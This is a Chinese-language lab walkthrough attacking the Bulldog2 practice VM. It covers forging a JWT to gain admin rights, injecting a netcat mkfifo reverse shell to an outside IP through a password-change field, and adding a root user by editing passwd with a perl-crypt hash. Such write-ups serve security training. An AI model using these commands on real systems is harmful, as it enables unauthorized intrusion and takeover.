Bulldog2渗透测试
0x00:实验环境:
Bulldog2靶机
Kali linux
测试机 ubuntu19.10
0x01实验流程:
信息收集:
主机发现
端口发现
操作系统扫描
渗透测试
0x03 实验步骤:
- netdiscover主机发现
- 主机扫描(包括masscan和nmap)
Searchsploit nginx 1.14.0
- 访问web网站
发现无法注册,尝试dirb目录爆破
访问这两个目录,但是没有有价值的内容
- 查看前端代码
下载这四个js代码到本地
在vscode中打开并使用Beautiful代码美化插件美化
对代码进行审计,在web网页中得到无法注册的信息,在js代码中查询Register,发现注册需要四条信息,对其进行模拟注册
- 使用burpsuite抓包进行注册
导入repeater,并修改数据包内容
将认证改为注册,并添加注册所需的信息
但是什么都没有,考虑提取权限
仔细观察可以发现,用户名直接在url后面,我们可以尝试水平越权
更改url后面的用户名为admin
- 再次登陆,burpsuite抓取回包信息,返回一个JWT开头的token字段
JWT(Json Web Token)的声明,一般用于身份提供者和服务提供者间,来传递被认证的用户身份信息,以便从资源服务器获取资源,也可以增加一些额外的其他业务逻辑所必须的声明信息,该token也可直接被用于认证或被加密;
- 搜索jwt解密token值得
在js脚本中搜索auth_level得
修改token中auth_level为,同时修改返回包中用户信息auth_level为master_admin_user
此时,登陆显示的为管理员
- Burpsuite抓包
可以看到返回值为200,但最下面为false
在修改密码处执行反弹shell脚本
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.8.145 1234 >/tmp/f;
并且kali开启监听
获得shell权限
- 接下来,提权
查看passwd
添加一个root权限的用户
perl -le 'print crypt(“password”,“aa”)’
其中,pass为加密的密码;aa表示使用的加密盐(可以有aa,sa,Fx等),如果不使用加密盐,那么输出的字符串将不是crypt加密格式,而是MD5加密格式的。所以,加密盐其实是必须的参数
- 切换用户,wmy:password
用python命令打开一个新的终端
python -c 'import pty; pty.spawn("/bin/bash")'
至此,提权成功
0x04 思路总结
- 对于目录爆破出的页面,要仔细分析页面可以点击的链接,以及页面源代码,从中获取有用数据,包括用户名密码等
- 要善于利用burpsuite抓取并利用数据包
- 在获得shell权限后,可以首先寻找查看隐藏文件猜解root密码,或者通过其他手段例如创建root权限用户进行提权